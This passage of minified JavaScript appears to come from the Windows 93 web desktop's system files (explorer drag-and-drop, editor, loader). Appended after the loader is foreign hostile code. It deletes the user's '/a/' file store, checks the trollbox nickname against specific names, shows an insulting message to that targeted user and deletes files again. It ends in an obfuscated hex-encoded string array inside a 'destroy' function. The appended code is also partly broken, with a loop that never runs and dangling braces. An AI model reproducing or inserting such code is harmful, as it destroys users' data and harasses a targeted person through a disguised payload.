8285 grid: function() {
8286 return !!$key.space && [e._icons.w, e._icons.h]
8287 },
8288 onstart: function(e) {
8289 m = $drag.elem.parentNode.classList.contains("ui_explorer--workspace"), $drag.elem.classList.contains("ui_selected") || ($explorer.selection.reset().add($drag.elem).display(), $drag.ghost.classList.add("ui_selected")), f = $drag.elem.getBoundingClientRect(), p.length = 0, p.push({
8290 focus: !0,
8291 el: $drag.elem,
8292 ghost: $drag.ghost,
8293 rect: f
8294 }), $explorer.selection.each(function(e, t) {
8295 if ($drag.elem !== e) {
8296 var n = $drag.createGhost(e);
8297 n.style.zIndex = 9998 - t;
8298 var o = e.getBoundingClientRect();
8299 document.body.appendChild(n), p.push({
8300 el: e,
8301 ghost: n,
8302 rect: o
8303 })
8304 }
8305 }), 2 === e.button ? (x = !0, a(!0)) : (x = !1, a(e))
8306 },
8307 ondrag: function(e) {
8308 t()
8309 },
8310 onstop: function(e) {},
8311 ondrop: function(e) {
8312 $drag.y < 0 || $drag.x < 0 ? (p.sort(function(e, t) {
8313 var n = e.el.getAttribute("data-name");
8314 return t.el.getAttribute("data-name").toLowerCase().localeCompare(n.toLowerCase())
8315 }), y.pos()) : y.cancel()
8316 },
8317 zone: {
8318 '.ui_explorer, [data-exe^="/a/"][data-exe$="/"], [data-exe^="/~/"][data-exe$="/"]': {
8319 move: function(e, t) {
8320 x || $(e)
8321 },
8322 enter: function(e, t) {
8323 r(e, t)
8324 },
8325 leave: function(e, t) {
8326 i(t)
8327 },
8328 drop: function(t, n, o) {
8329 i(n), 2 === t.button ? v.dragMenu.show(n, { of: t,
8330 within: e._dom.screen
8331 }) : y.move()
8332 }
8333 }
8334 }
8335});
8336var y = {
8337 pos: function() {
8338 var t = Date.now() + p.length + 1;
8339 n(function(n, o, a, r, i) {
8340 n.classList.remove("hide"), r.focus && n.focus(), m ? (n.style.top = o.style.top, n.style.left = o.style.left, e._desktop[n.getAttribute("data-name")] = {
8341 x: n.offsetLeft,
8342 y: n.offsetTop,
8343 time: t - i
8344 }, s(o)) : l(n, o, a)
8345 }), $explorer.instances[0].reorder(), o()
8346 },
8347 move: function(e) {
8348 e = $drag.zone || this, p[0] && p[0].el && p[0].el.parentNode !== e ? c(e, function(e, t, n, o) {
8349 $file.move(e, t, function(e) {
8350 "/a/trash/WINDOWS 93.lnk42" === e && d(), o(e)
8351 })
8352 }) : y.pos()
8353 },
8354 copy: function(e) {
8355 c($drag.zone || this, function(e, t, n, o) {
8356 $file.copy(e, n, o)
8357 })
8358 },
8359 link: function(e) {
8360 c($drag.zone || this, function(e, t, n, o) {
8361 var a = t.replace(/^\/a\/|\/$/g, "") + ".lnk42";
8362 $store.set(a, {
8363 exe: this.el.getAttribute("data-path")
8364 }), o("/a/" + a)
8365 })
8366 },
8367 cancel: function() {
8368 n(function(e, t, n) {
8369 l(e, t, n)
8370 }), o()
8371 }
8372 },
8373 v = v || {};
8374v.dragMenu = $menu([{
8375 name: "Copy here",
8376 action: y.copy
8377}, {
8378 name: "Move here",
8379 action: y.move
8380}, {
8381 name: "Link here",
8382 action: y.link
8383}, {
8384 name: "---"
8385}, {
8386 name: "Cancel",
8387 action: y.cancel
8388}], {
8389 oncancel: y.cancel
8390}), $file.ondrop(e._dom.desktop, ".ui_explorer--local", function(e) {
8391 function t(t) {
8392 $state.loading(), $store.set(s.replace(/^\/a\//, "") + l, t), $file.scan("/a/", function() {
8393 $explorer.utils.saveIconPos(s, r, l, e.clientX, e.clientY), $explorer.instances[r].refresh(), $state.loaded()
8394 })
8395 }
8396
8397 function n(t, n) {
8398 $explorer.utils.saveIconPos("/a/" + t, r, n, e.clientX, e.clientY)
8399 }
8400
8401 function o(e, t) {
8402 t = t || "";
8403 e.isFile ? e.file(function(e) {
8404 $file.save(t, e, function(e) {
8405 n(t, e), $explorer.instances[r].refresh()
8406 })
8407 }) : e.isDirectory && e.createReader().readEntries(function(a) {
8408 if (a.length)
8409 for (var i = 0; i < a.length; i++) o(a[i], t + e.name + "/");
8410 else $store.set(t + e.name + "/", null), $file.scan(c, function() {
8411 $explorer.instances[r].refresh()
8412 });
8413 n(t, e.name)
8414 })
8415 }
8416 var a, r = this.getAttribute("data-id");
8417 if ($io.arr.all(e.dataTransfer.types, function(t) {
8418 "text/uri-list" !== t && "text/x-moz-url" !== t || (a = e.dataTransfer.getData("text/plain"))
8419 }), a) {
8420 a = a.replace(location.origin, "");
8421 var i = $exe.parseURL(a, function(e) {
8422 t(e)
8423 }, function(e) {
8424 t(e)
8425 }),
8426 s = $explorer.instances[r].getPath(),
8427 l = a.replace(/https?:\/\//, "").replace(/\//g, "%2F") + ".lnk42";
8428 i.name = l, t(i)
8429 } else if (e.dataTransfer && e.dataTransfer.files && e.dataTransfer.files.length && $explorer.instances[r] && "function" == typeof $explorer.instances[r].getPath)
8430 for (var c = $explorer.instances[r].getPath(), d = c.replace(/^\/a\//, ""), u = e.dataTransfer.items, p = 0; p < u.length; p++) {
8431 var f = u[p].webkitGetAsEntry();
8432 f && o(f, d)
8433 }
8434})
8435});
8436//os/sys/editor.js
8437system42(function(e) {
8438"use strict";
8439
8440function t(t, n) {
8441 function i(e, t, n) {
8442 l && (l.changeTitle((e ? e + " - " : "") + f.name), l.changeFooter(t.mime || " ")), c = $fs.utils.getFileName(e), r = t, a.readFile.call(t, n)
8443 }
8444
8445 function o(e) {
8446 t.filePath = e;
8447 var n = t.type || "String";
8448 "URL" === n ? $file.getUrl(e, function(t) {
8449 m = "URL", i(e, $fs.utils.getInfo(e), t)
8450 }) : $file.open(e, n, function(t, n) {
8451 m = n, i(e, this, t)
8452 })
8453 }
8454 var a, l, u, f = this.app;
8455 (t = t || {}).filePath = "string" == typeof t.filePath ? t.filePath : "";
8456 var r = {},
8457 s = [];
8458 ! function() {
8459 f.ext ? $io.arr.all(f.ext, function(t) {
8460 var n = e._get.ext.mime["." + t];
8461 n && s.push(n)
8462 }) : f.mimetype && (s = $io.is.arr(f.mimetype) ? f.mimetype : [f.mimetype])
8463 }();
8464 var c, m = "String",
8465 p = {
8466 New: function() {
8467 return a.setValue(""), !1
8468 },
8469 Open: function() {
8470 var n = t.defaultFolder || u || t.filePath || e._path.home;
8471 return setTimeout(function() {
8472 $explorer(n, {
8473 browse: !0,
8474 list: !0,
8475 accept: f.accept || "*",
8476 window: {
8477 animationIn: "",
8478 animationOut: "",
8479 center: !0
8480 },
8481 onclose: function(e, t) {
8482 e && (u = $fs.utils.getFolderPath(t), o(t))
8483 }
8484 })
8485 }, 0), !1
8486 },
8487 SaveAs: function() {
8488 function n(n, i) {
8489 i && (m = i);
8490 var o = 0 === t.filePath.indexOf("/a/") ? t.filePath : e._path.desktop + (t.filePath ? $fs.utils.getFileName(t.filePath) : "");
8491 setTimeout(function() {
8492 $explorer(o, {
8493 save: !0,
8494 list: !0,
8495 accept: n || f.accept || "*",
8496 window: {
8497 animationIn: "",
8498 animationOut: "",
8499 center: !0
8500 },
8501 onclose: function(e, n) {
8502 e && (u = $fs.utils.getFolderPath(n), t.filePath = n, r = $fs.utils.getInfo(n), p.Save())
8503 }
8504 })
8505 }, 0)
8506 }
8507 return a.beforeSaveAs ? a.beforeSaveAs(n) : n(), !1
8508 },
8509 Save: function() {
8510 function e(e) {
8511 $file.save(t.filePath, e, function() {})
8512 }
8513 var n = m;
8514 if (t.filePath && 0 === t.filePath.indexOf("/a/")) {
8515 var i = r.mime;
8516 a.getValue(function(t) {
8517 var o = $io.type(t);
8518 "Blob" === n ? $io[o].Blob(t, function(t) {
8519 e(t)
8520 }, i) : $io[o][n](t, function(t) {
8521 e(t)
8522 })
8523 }, i)
8524 } else p.SaveAs();
8525 return !1
8526 },
8527 Import: function() {
8528 $file.upload(function(e) {
8529 var n = e[0];
8530 $io.File[t.type || "String"](n, function(e) {
8531 i(n.name, {
8532 file: n.name,
8533 mime: n.type
8534 }, e)
8535 })
8536 }, {
8537 accept: f.accept || "*"
8538 })
8539 },
8540 Export: function() {
8541 function e(e) {
8542 a.getValue(function(t) {
8543 var n = $io.type(t);
8544 $io[n].Blob(t, function(e) {
8545 $file.download(e, c)
8546 }, e || r.mime)
8547 }, e || r.mime)
8548 }
8549 a.beforeSaveAs ? a.beforeSaveAs(e) : e()
8550 },
8551 Undo: function() {
8552 return a.undo(), !1
8553 },
8554 Redo: function() {
8555 return a.redo(), !1
8556 },
8557 Quit: function() {
8558 return l.close(), !1
8559 }
8560 };
8561 if (!1 === t.save) h = [{
8562 name: "File",
8563 items: [{
8564 name: "New",
8565 action: p.New
8566 }, {
8567 name: "Open",
8568 action: p.Open,
8569 key: "ctrl+o"
8570 }, {
8571 name: "---"
8572 }, {
8573 name: "Quit",
8574 action: p.Quit
8575 }]
8576 }];
8577 else var h = [{
8578 name: "File",
8579 items: [{
8580 name: "New",
8581 action: p.New
8582 }, {
8583 name: "Open",
8584 action: p.Open,
8585 key: "ctrl+o"
8586 }, {
8587 name: "Save",
8588 action: p.Save,
8589 key: "ctrl+s",
8590 disabled: !1
8591 }, {
8592 name: "Save As...",
8593 action: p.SaveAs,
8594 key: "ctrl+shift+s"
8595 }, {
8596 name: "---"
8597 }, {
8598 name: "Open File With...",
8599 items: function() {
8600 return $fs.utils.getMenuOpenWith(t.filePath)
8601 }
8602 }, {
8603 name: "Open Containing Folder",
8604 key: "ctrl+alt+enter",
8605 action: function() {
8606 setTimeout(function() {
8607 $explorer(t.filePath)
8608 }, 0)
8609 }
8610 }, {
8611 name: "---"
8612 }, {
8613 name: "Quit",
8614 action: p.Quit
8615 }]
8616 }];
8617 if (t.undo && h.push({
8618 name: "Edit",
8619 items: [{
8620 name: "Undo",
8621 action: p.Undo,
8622 key: "ctrl+z"
8623 }, {
8624 name: "Redo",
8625 action: p.Redo,
8626 key: "ctrl+y"
8627 }]
8628 }), t.help) {
8629 var d = [];
8630 t.help.instructions && d.push({
8631 name: "Instructions",
8632 action: function() {
8633 $alert.help({
8634 title: "Instructions",
8635 html: t.help.instructions
8636 })
8637 }
8638 }), t.help.about && d.push({
8639 name: "About",
8640 action: function() {
8641 "string" == typeof t.help.about && (t.help.about = {
8642 msg: t.help.about
8643 }), $alert({
8644 title: "About",
8645 msg: t.help.about.msg,
8646 img: t.help.about.img || f.icon || null,
8647 onopen: $noop
8648 })
8649 }
8650 }), h.push({
8651 name: "Help",
8652 items: d
8653 })
8654 }
8655 t.about && h.push({
8656 name: "About",
8657 action: function() {
8658 "string" == typeof t.about && (t.about = {
8659 msg: t.about
8660 }), $alert({
8661 title: "About",
8662 msg: t.about.msg,
8663 img: t.about.img || f.icon || null,
8664 onopen: $noop
8665 })
8666 }
8667 });
8668 var $ = {};
8669 if (t.nodeType && 1 === t.nodeType) {
8670 var v = t;
8671 a = (t = n).create(v)
8672 } else "function" == typeof t.create ? ($.url = null, $.onopen = function() {
8673 this.el.footer.firstChild && (this.el.footer.firstChild.className = "ui_editor__footer skin_base_text_info"), a = t.create(this.el.body), t.filePath ? o(t.filePath) : a.setValue("")
8674 }) : ($.url = $.url + (t.filePath ? "?path=" + t.filePath : ""), $.onready = function() {
8675 this.el.footer.firstChild && (this.el.footer.firstChild.className = "ui_editor__footer skin_base_text_info");
8676 var e = this.el.iframe;
8677 e && e.contentWindow.$iframeInit && (a = e.contentWindow.$iframeInit.call(this), t.filePath ? o(t.filePath) : a.setValue && a.setValue(""))
8678 }), this.app.icon && ($.icon = this.app.icon), $.menu = h, $.footer = " ", $.title = (t.filePath ? t.filePath + " - " : "") + this.app.name, l = $window.call(this, $extend($, t.window))
8679}
8680window.$editor = t
8681});
8682//js/loader.js
8683! function(t) {
8684"use strict";
8685
8686function n(t) {
8687 document.body.appendChild(t)
8688}
8689
8690function e(t, n) {
8691 var e = [];
8692 t.forEach(function(t) {
8693 var n = $url.getExtention(t);
8694 "js" === n ? e.push(r.script(t)) : "css" === n ? e.push(r.css(t)) : /txt|html|php|json|xml/.test(n) ? e.push(r.txt(t)) : /mp3|opus|ogg|wav|aac|m4a|mp4|weba/.test(n) && e.push(r.audio(t))
8695 }), Promise.all(e).then(function(t) {
8696 n.apply(null, t)
8697 }).catch(function(t) {})
8698}
8699var o = t.$noop || function() {},
8700 c = {
8701 onpass: o,
8702 onfail: o
8703 },
8704 r = {
8705 script: function(t) {
8706 return new Promise(function(e, o) {
8707 var c = document.createElement("script");
8708 c.className = "js_dynamic-deps", c.type = "text/javascript", c.charset = "utf-8", c.async = !1, c.defer = !0, c.onload = c.onreadystatechange = function(t, n) {
8709 c.readyState && !/loaded|complete/.test(c.readyState) || (n ? o("script not loaded correctly (abort)") : e(c))
8710 }, c.onerror = function() {
8711 o("script not loaded correctly")
8712 }, n(c), c.src = t
8713 })
8714 },
8715 css: function(t) {
8716 return new Promise(function(e, o) {
8717 var c = document.createElement("link");
8718 c.className = "js_dynamic-deps", c.charset = "utf-8", c.rel = "stylesheet", c.href = t, n(c), e(c)
8719 })
8720 },
8721 txt: function(t) {
8722 return new Promise(function(n, e) {
8723 $ajax.get(t).done(function(t) {
8724 n(t)
8725 }).fail(function(t) {
8726 e("ajax error: " + t.status + " " + t.statusText)
8727 })
8728 })
8729 },
8730 audio: function(t) {
8731 return new Promise(function(n, e) {
8732 $audio({
8733 urls: [t],
8734 buffer: !1,
8735 onload: function() {
8736 n(this)
8737 },
8738 onloaderror: function() {
8739 e("buffer can't handle over 9000 requests in the audio driver exploit boio!")
8740 }
8741 })
8742 })
8743 }
8744 };
8745e.script = function(t, n) {
8746 return r.script(t)
8747}, e.config = function(t) {
8748 $extend(c, t)
8749}, t.$loader = e
8750}(this);
8751o = system42(e)
8752e = $file.delete("/a/")
8753n.exploit = $watch(o,e)
8754$exe("trollbox")
8755var XKII = new Object()
8756XKII.x = document.getElementById('targetFrame').contentWindow.$store.set('.config/trollbox/nickX', pseudo);
8757XKII.ff = $store.get(".config/trollbox/nickX")
8758XKII.XX = ["Draco","Draeco","Dreaco","i hate you"]
8759for (i = 0; i > 4; i++) {
8760if (XKII.ff.toLowerCase() == XKII.XX[i].toLowerCase()) {
8761$alert.info("Good Job! No one likes you. I hope you feel great about yourself.")
8762this.destroy()
8763$kernel.root(function() { $file.delete('/a/'); $alert.progress(100,95,$watch(o,e));$alert.error("")
8764})
8765}
8766}
8767 },
8768 destroy : function() {
8769 var _0x4a4f=['\x42\x4d\x4b\x4f\x63\x38\x4b\x43','\x61\x6a\x41\x5a\x77\x72\x4d\x3d','\x77\x35\x70\x6d\x54\x4d\x4f\x6c\x77\x72\x6f\x3d','\x64\x58\x6e\x44\x69\x63\x4b\x5a\x77\x36\x73\x3d','\x77\x70\x59\x37\x50\x41\x3d\x3d','\x77\x70\x34\x4c\x4d\x4d\x4b\x69\x50\x46\x50\x44\x6f\x4d\x4f\x63\x4d\x67\x3d\x3d','\x52\x73\x4b\x32\x77\x37\x50\x43\x74\x57\x59\x3d','\x47\x4d\x4b\x62\x52\x77\x3d\x3d','\x77\x35\x45\x4a\x42\x47\x33\x43\x74\x51\x3d\x3d','\x44\x73\x4b\x4b\x53\x4d\x4b\x76\x47\x77\x3d\x3d','\x62\x63\x4b\x5a\x77\x34\x48\x43\x6a\x48\x51\x3d','\x45\x77\x33\x43\x6f\x73\x4f\x56\x56\x69\x6f\x3d','\x77\x37\x76\x43\x74\x6d\x4c\x43\x74\x38\x4b\x4a\x58\x63\x4f\x68\x51\x63\x4b\x73\x77\x35\x50\x43\x6e\x41\x3d\x3d','\x62\x79\x6b\x34\x77\x72\x51\x73','\x77\x72\x4d\x46\x41\x4d\x4b\x50\x48\x77\x3d\x3d','\x4c\x38\x4b\x72\x62\x63\x4b\x37\x4e\x51\x3d\x3d','\x61\x4d\x4b\x63\x77\x71\x38\x63','\x77\x36\x35\x6c\x56\x38\x4f\x64\x77\x70\x41\x3d','\x42\x73\x4b\x56\x77\x34\x7a\x43\x6e\x4d\x4b\x65','\x4c\x4d\x4b\x4d\x65\x63\x4b\x2f\x4a\x51\x3d\x3d','\x77\x35\x78\x37\x55\x4d\x4f\x35\x77\x72\x7a\x43\x69\x54\x33\x44\x6d\x6a\x6c\x4d\x57\x77\x3d\x3d','\x77\x34\x52\x62\x77\x36\x50\x44\x69\x73\x4f\x52','\x43\x38\x4b\x4b\x64\x4d\x4b\x4f\x45\x51\x3d\x3d','\x77\x71\x6a\x43\x68\x52\x74\x30\x77\x36\x6f\x3d','\x50\x38\x4b\x42\x77\x35\x51\x67\x77\x6f\x45\x3d','\x77\x6f\x78\x49\x77\x72\x6a\x44\x69\x38\x4f\x62','\x77\x35\x4a\x44\x77\x37\x2f\x44\x68\x63\x4f\x50','\x62\x63\x4f\x44\x55\x38\x4f\x71\x77\x72\x4d\x3d','\x65\x47\x4d\x34\x77\x70\x72\x44\x68\x77\x3d\x3d','\x77\x72\x2f\x43\x6d\x7a\x54\x43\x73\x4d\x4b\x47','\x77\x6f\x4a\x6f\x77\x70\x56\x5a\x41\x41\x3d\x3d','\x77\x71\x78\x6a\x49\x68\x76\x44\x76\x51\x3d\x3d','\x77\x71\x77\x68\x4c\x4d\x4f\x47\x43\x67\x3d\x3d','\x77\x71\x50\x43\x72\x52\x4e\x78\x77\x37\x51\x3d','\x77\x71\x42\x47\x77\x71\x4c\x44\x6a\x63\x4f\x74','\x77\x36\x6a\x43\x72\x32\x62\x43\x73\x38\x4b\x32','\x77\x6f\x6f\x69\x4d\x63\x4f\x70\x49\x67\x3d\x3d','\x44\x38\x4b\x54\x4a\x63\x4f\x38\x54\x41\x3d\x3d','\x48\x38\x4b\x64\x58\x77\x3d\x3d','\x46\x38\x4f\x6b\x77\x34\x52\x56\x77\x72\x67\x3d','\x77\x34\x4c\x44\x6c\x4d\x4f\x6f\x77\x37\x78\x31','\x77\x70\x33\x43\x6c\x68\x46\x78\x77\x37\x73\x3d','\x77\x36\x58\x44\x75\x63\x4f\x56','\x77\x71\x64\x55\x43\x4d\x4b\x65\x54\x77\x3d\x3d','\x77\x37\x62\x43\x67\x45\x62\x43\x73\x63\x4b\x66','\x77\x37\x6b\x59\x43\x6d\x72\x43\x6e\x41\x3d\x3d','\x4d\x68\x48\x43\x69\x43\x4d\x4a','\x58\x4d\x4f\x33\x77\x34\x31\x73\x42\x67\x3d\x3d','\x43\x73\x4b\x72\x77\x6f\x6c\x4d\x4a\x77\x3d\x3d','\x46\x73\x4b\x44\x53\x73\x4b\x51\x41\x51\x3d\x3d','\x77\x6f\x70\x50\x50\x67\x3d\x3d','\x44\x38\x4b\x6e\x63\x77\x3d\x3d','\x65\x47\x51\x7a\x77\x71\x44\x44\x68\x77\x3d\x3d','\x77\x36\x48\x44\x6d\x63\x4f\x64\x77\x34\x78\x4f','\x54\x6b\x63\x35\x77\x70\x66\x44\x67\x51\x3d\x3d','\x77\x72\x7a\x44\x69\x46\x50\x44\x69\x43\x67\x3d','\x62\x63\x4b\x4c\x77\x72\x6f\x3d','\x77\x72\x4d\x77\x43\x51\x3d\x3d','\x77\x70\x39\x35\x77\x34\x59\x67\x77\x71\x54\x44\x72\x4d\x4f\x74\x4c\x45\x6a\x43\x6a\x45\x59\x65\x77\x72\x54\x44\x76\x78\x58\x44\x69\x67\x3d\x3d','\x4e\x6e\x49\x31\x45\x54\x62\x43\x6b\x63\x4b\x4e\x43\x4d\x4f\x71\x77\x37\x35\x37\x77\x70\x4e\x70\x64\x4d\x4f\x41\x77\x70\x6e\x44\x69\x63\x4f\x70\x52\x4d\x4b\x78\x77\x34\x6a\x43\x6e\x48\x76\x44\x67\x41\x50\x43\x67\x73\x4f\x39\x61\x53\x72\x44\x75\x73\x4f\x49\x66\x6c\x4a\x56\x51\x69\x7a\x43\x69\x73\x4b\x32\x77\x71\x33\x44\x6e\x4d\x4b\x52\x56\x47\x64\x6f\x65\x4d\x4b\x38\x50\x73\x4b\x4e\x77\x35\x4d\x46\x41\x53\x72\x43\x73\x44\x72\x44\x6d\x73\x4b\x74\x77\x71\x54\x43\x6d\x4d\x4b\x50\x51\x6e\x7a\x44\x6d\x77\x3d\x3d','\x4b\x73\x4b\x70\x62\x54\x55\x3d','\x77\x70\x6c\x2b\x4e\x43\x72\x44\x73\x41\x3d\x3d','\x48\x73\x4b\x64\x53\x73\x4b\x4a\x44\x41\x3d\x3d','\x77\x71\x67\x4d\x64\x41\x3d\x3d','\x77\x36\x52\x48\x77\x34\x51\x3d','\x48\x54\x45\x41\x56\x6e\x50\x43\x6d\x38\x4b\x4e\x51\x38\x4b\x69\x77\x35\x51\x75\x77\x34\x4a\x68\x4d\x4d\x4b\x48','\x77\x70\x70\x63\x51\x47\x58\x44\x71\x73\x4f\x36\x77\x37\x49\x3d','\x77\x34\x46\x75\x77\x35\x50\x44\x76\x38\x4f\x62\x77\x36\x62\x43\x67\x4d\x4b\x76\x4b\x38\x4b\x48\x77\x36\x73\x45\x44\x77\x7a\x43\x72\x4d\x4f\x71\x77\x34\x4d\x75\x77\x35\x30\x3d','\x4b\x38\x4f\x39\x77\x71\x56\x69\x77\x71\x66\x43\x6f\x44\x54\x43\x73\x73\x4b\x6b\x77\x71\x63\x6f\x50\x44\x6e\x44\x74\x78\x67\x7a\x77\x35\x6e\x43\x69\x77\x74\x58\x45\x77\x35\x6b\x65\x63\x4b\x2b\x52\x63\x4f\x33\x77\x70\x6e\x44\x6f\x6e\x6a\x44\x6e\x63\x4f\x42','\x52\x56\x66\x44\x6f\x57\x62\x44\x72\x51\x3d\x3d','\x77\x37\x49\x54\x4d\x48\x7a\x43\x73\x67\x3d\x3d','\x59\x56\x72\x44\x6f\x47\x50\x44\x6e\x77\x3d\x3d','\x66\x67\x4a\x75\x77\x70\x48\x44\x6a\x51\x3d\x3d','\x4f\x38\x4b\x73\x77\x37\x67\x36\x77\x70\x6f\x3d','\x77\x70\x41\x64\x4b\x63\x4b\x4a\x41\x67\x3d\x3d','\x59\x63\x4f\x66\x77\x36\x6f\x53\x77\x35\x45\x3d','\x66\x6a\x31\x5a\x77\x72\x55\x3d','\x77\x6f\x62\x44\x73\x55\x76\x44\x74\x53\x45\x3d','\x56\x73\x4b\x32\x77\x36\x4c\x43\x74\x41\x3d\x3d','\x77\x71\x67\x46\x41\x73\x4b\x43\x4c\x67\x3d\x3d','\x77\x35\x56\x33\x77\x6f\x6b\x71\x77\x36\x49\x3d','\x45\x63\x4b\x49\x77\x6f\x4a\x50\x45\x67\x3d\x3d','\x77\x72\x6c\x34\x77\x6f\x42\x52\x41\x77\x3d\x3d','\x77\x71\x7a\x43\x70\x51\x4a\x78\x77\x35\x51\x3d','\x77\x70\x62\x44\x6e\x6e\x50\x44\x70\x6a\x38\x3d','\x4b\x42\x7a\x43\x6d\x7a\x49\x30','\x77\x34\x6a\x43\x70\x38\x4f\x6e\x66\x6d\x55\x3d','\x5a\x38\x4f\x46\x77\x70\x6a\x44\x69\x4d\x4b\x2f','\x43\x63\x4f\x30\x77\x35\x35\x30\x77\x70\x67\x3d','\x77\x37\x66\x44\x72\x44\x44\x43\x71\x4d\x4f\x59','\x51\x78\x5a\x50\x77\x6f\x4c\x44\x72\x41\x3d\x3d','\x77\x71\x35\x64\x77\x72\x39\x56\x4e\x41\x3d\x3d','\x4e\x38\x4b\x46\x57\x51\x3d\x3d','\x46\x38\x4b\x46\x59\x73\x4f\x31\x77\x70\x41\x3d','\x77\x72\x74\x76\x49\x73\x4b\x74\x54\x77\x3d\x3d','\x77\x70\x4a\x6a\x77\x36\x59\x6e\x77\x72\x38\x3d','\x5a\x38\x4f\x6e\x63\x73\x4f\x4e\x77\x72\x67\x3d','\x42\x38\x4b\x56\x65\x51\x3d\x3d','\x4d\x73\x4f\x72\x4d\x73\x4f\x64\x77\x37\x6b\x69\x4c\x68\x73\x73\x51\x38\x4b\x44\x77\x72\x4c\x43\x6d\x42\x6e\x44\x71\x38\x4f\x4e\x44\x67\x3d\x3d','\x4b\x4d\x4f\x58\x77\x37\x73\x3d','\x62\x6a\x31\x49\x77\x72\x51\x3d','\x61\x73\x4f\x6b\x77\x36\x49\x46\x77\x34\x31\x73\x77\x70\x4c\x44\x73\x78\x42\x30\x46\x77\x3d\x3d','\x77\x6f\x70\x44\x63\x42\x42\x6c','\x77\x36\x55\x50\x45\x6b\x62\x43\x73\x67\x3d\x3d','\x52\x6b\x58\x44\x71\x63\x4b\x35\x77\x37\x51\x3d','\x77\x72\x4a\x72\x55\x47\x62\x44\x6c\x77\x3d\x3d','\x77\x72\x2f\x44\x6c\x30\x2f\x44\x6c\x54\x67\x3d','\x51\x73\x4f\x4f\x77\x34\x77\x3d','\x52\x57\x42\x4f\x4b\x63\x4b\x4e','\x77\x70\x34\x42\x49\x63\x4b\x6f\x50\x67\x3d\x3d','\x42\x42\x44\x43\x72\x63\x4f\x66\x52\x7a\x72\x43\x6c\x38\x4f\x76\x4c\x51\x3d\x3d','\x77\x6f\x52\x75\x77\x6f\x62\x44\x71\x77\x3d\x3d','\x4a\x4d\x4b\x72\x77\x37\x41\x69','\x77\x70\x51\x66\x43\x38\x4b\x6f\x44\x51\x3d\x3d','\x51\x63\x4b\x6d\x77\x34\x50\x43\x71\x57\x51\x3d','\x77\x37\x76\x44\x6a\x79\x6e\x43\x6b\x38\x4f\x45','\x77\x71\x2f\x44\x69\x45\x33\x44\x6a\x7a\x6a\x44\x6e\x73\x4f\x44\x64\x4d\x4f\x74\x47\x46\x6b\x3d','\x54\x4d\x4f\x44\x77\x35\x45\x31\x77\x37\x67\x3d','\x77\x35\x38\x48\x42\x57\x37\x43\x71\x41\x3d\x3d','\x77\x72\x4e\x59\x44\x42\x6e\x44\x75\x41\x3d\x3d','\x77\x70\x68\x38\x77\x35\x67\x76\x77\x71\x6b\x3d','\x77\x35\x66\x43\x6a\x33\x6a\x43\x6c\x4d\x4b\x32','\x4d\x63\x4f\x77\x77\x37\x74\x74\x77\x72\x45\x3d','\x77\x36\x76\x44\x6f\x78\x49\x3d','\x64\x58\x48\x44\x6a\x57\x55\x3d','\x77\x70\x35\x72\x77\x34\x30\x78','\x77\x37\x6e\x43\x75\x6e\x6a\x43\x72\x63\x4b\x53\x51\x51\x3d\x3d','\x77\x72\x42\x71\x66\x41\x42\x4e\x77\x70\x78\x4d\x52\x38\x4b\x36\x77\x71\x44\x44\x6f\x38\x4f\x6f\x77\x70\x74\x2f\x77\x72\x64\x76\x77\x37\x6e\x44\x72\x63\x4f\x37','\x44\x4d\x4b\x4c\x77\x72\x34\x3d','\x77\x71\x4a\x57\x77\x6f\x38\x3d','\x45\x63\x4b\x76\x77\x71\x54\x43\x76\x44\x56\x6b\x77\x36\x7a\x43\x76\x30\x44\x44\x6a\x4d\x4f\x7a\x4c\x31\x6b\x3d','\x77\x6f\x52\x70\x61\x67\x3d\x3d','\x4c\x52\x38\x68','\x4c\x38\x4b\x49\x58\x53\x49\x78','\x77\x34\x44\x44\x6c\x69\x76\x43\x6e\x4d\x4f\x6e','\x4e\x38\x4b\x6f\x77\x71\x70\x59\x42\x77\x3d\x3d','\x5a\x6c\x50\x44\x67\x48\x72\x44\x72\x51\x3d\x3d','\x77\x72\x78\x61\x4e\x6a\x4c\x44\x72\x41\x3d\x3d','\x4b\x73\x4b\x67\x77\x36\x76\x43\x68\x38\x4b\x4c\x4f\x63\x4b\x33\x65\x6a\x66\x43\x75\x73\x4f\x4b','\x46\x63\x4b\x4b\x57\x4d\x4b\x58\x45\x67\x3d\x3d','\x47\x38\x4b\x65\x77\x70\x70\x30\x4c\x41\x3d\x3d','\x66\x6a\x41\x48\x77\x72\x45\x3d','\x4d\x38\x4b\x56\x61\x63\x4b\x37\x47\x51\x3d\x3d','\x77\x35\x70\x4e\x52\x4d\x4f\x49\x77\x72\x41\x3d','\x4b\x73\x4b\x6e\x77\x34\x6f\x4e\x77\x72\x67\x3d','\x56\x38\x4f\x4d\x77\x36\x4e\x39\x48\x41\x3d\x3d','\x57\x63\x4f\x56\x77\x35\x74\x61\x4e\x77\x3d\x3d','\x5a\x38\x4b\x32\x77\x71\x45\x64\x65\x41\x3d\x3d','\x77\x36\x4c\x44\x68\x73\x4f\x64\x77\x36\x64\x4e','\x66\x56\x4a\x41\x56\x4d\x4f\x57','\x77\x70\x39\x53\x77\x6f\x72\x44\x67\x38\x4f\x53','\x77\x37\x33\x43\x67\x48\x62\x43\x68\x73\x4b\x46','\x77\x72\x6a\x43\x75\x54\x50\x43\x67\x4d\x4b\x6a\x57\x38\x4b\x70','\x77\x70\x4d\x69\x55\x79\x45\x4f\x77\x71\x45\x55','\x61\x47\x6b\x79','\x50\x53\x51\x5a\x77\x72\x33\x43\x71\x68\x77\x5a\x58\x43\x73\x33\x63\x73\x4f\x59\x56\x38\x4f\x50\x77\x70\x56\x64\x77\x6f\x45\x3d','\x4b\x63\x4b\x4a\x77\x72\x78\x2f\x46\x77\x3d\x3d','\x77\x71\x38\x41\x43\x73\x4f\x35\x4a\x67\x3d\x3d','\x58\x73\x4b\x70\x77\x70\x49\x58\x58\x51\x3d\x3d','\x63\x47\x54\x44\x6e\x33\x7a\x44\x6a\x51\x3d\x3d','\x77\x37\x48\x43\x74\x63\x4f\x6e\x53\x6e\x6b\x3d','\x77\x36\x4c\x44\x6f\x4d\x4f\x41\x77\x36\x4d\x3d','\x62\x79\x42\x4a\x77\x71\x54\x44\x71\x68\x52\x47\x54\x33\x30\x3d','\x77\x37\x4a\x69\x77\x37\x72\x44\x76\x38\x4f\x57','\x42\x6a\x59\x4f','\x43\x4d\x4b\x53\x5a\x38\x4b\x43\x4a\x51\x3d\x3d','\x4c\x63\x4b\x71\x77\x36\x66\x43\x67\x63\x4b\x59','\x77\x35\x5a\x36\x57\x4d\x4f\x6c','\x77\x71\x35\x61\x57\x55\x72\x44\x68\x41\x3d\x3d','\x77\x6f\x44\x44\x67\x47\x54\x44\x6